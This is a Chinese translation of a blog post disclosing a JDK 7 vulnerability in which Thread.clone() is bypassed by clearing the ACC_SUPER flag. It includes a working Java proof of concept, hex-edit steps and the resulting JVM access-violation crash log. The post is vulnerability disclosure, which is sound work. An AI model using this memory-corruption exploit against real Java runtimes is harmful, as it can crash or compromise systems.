JDK 7 线程克隆漏洞

红薯 发布于 2012/11/06 08:41
阅读 634
收藏 5

这篇博客原本是在 2011年6月23日 发布的,但是 Oracle 在调查之后删除了此文,一年多过去了,这个问题还是没解决。因此我通知 Oracle 我要重新发布这篇文章,但同样是没有任何回应。-- Jeroen

当发现这个问题时我已经在 邮件列表 中警告过,但显然被忽视了,或许写一篇博文更有帮助。

之前 JDK 6 的克隆漏洞用一种聪明且安全的方式予以解决了。在 JDK 7 中他们尝试通过继承 Object.clone() 来处理而不仅仅是抛出 CloneNotSupportedException 异常。唯一的问题是,在 Java 中(.NET 亦是如此)继承一个方法并不是让父类方法不可用的安全手段。

有个标志大家可能不太知道 —— ACC_SUPER 可以让你调用父类中的任意可访问的方法。因此 Thread.clone() 可被忽略,然后直接在线程的子类(不带有 ACC_SUPER 标志)中调用 Object.clone() 方法。

这里有个例子:

class Clone extends Thread implements Cloneable {
  public Object clone() {
    try { return super.clone(); }
    catch (CloneNotSupportedException _) { throw new Error(); }
  }
}

class Demo {
  public static void main(String[] args) throws Throwable {
    Clone c1 = new Clone() {
      public void run() {
        for (;;) {
        }
      }
    };
    c1.start();
    Thread t = (Thread)c1.clone();
    c1.stop();
    c1.join();
    System.gc();
    t.stop();
  }
}

注意到如果你用 JDK 6 进行编译,你需要编辑 Clone.class 以清除 ACC_SUPER 标志。可使用任意十六进制编辑器将 20(十六进制) 替换为 00,或者下载我已经替换好的拷贝。

然后我们来运行看看:

C:\j>\jdk1.7-b145\bin\java Demo
#
# A fatal error has been detected by the Java Runtime Environment:
#
# EXCEPTION_ACCESS_VIOLATION (0xc0000005) at pc=0x000000006cd5af54, pid=3708, t id=10460
#
# JRE version: 7.0-b145
# Java VM: Java HotSpot(TM) 64-Bit Server VM (21.0-b15 mixed mode windows-amd64 compressed oops)
# Problematic frame:
# V [jvm.dll+0x1caf54]
#
# Failed to write core dump. Minidumps are not enabled by default on client versions of Windows
#
# An error report file with more information is saved as:
# C:\j\hs_err_pid3708.log
#
# If you would like to submit a bug report, please visit:
# http://bugreport.sun.com/bugreport/crash.jsp
#
英文原文OSCHINA原创翻译
加载中
0
Ryan-瑞恩
Ryan-瑞恩
没有用到过clone thread  回头试试!!!谢谢老大分享。
0
就是我啊
就是我啊
俗俗的Mark一下~~
返回顶部
顶部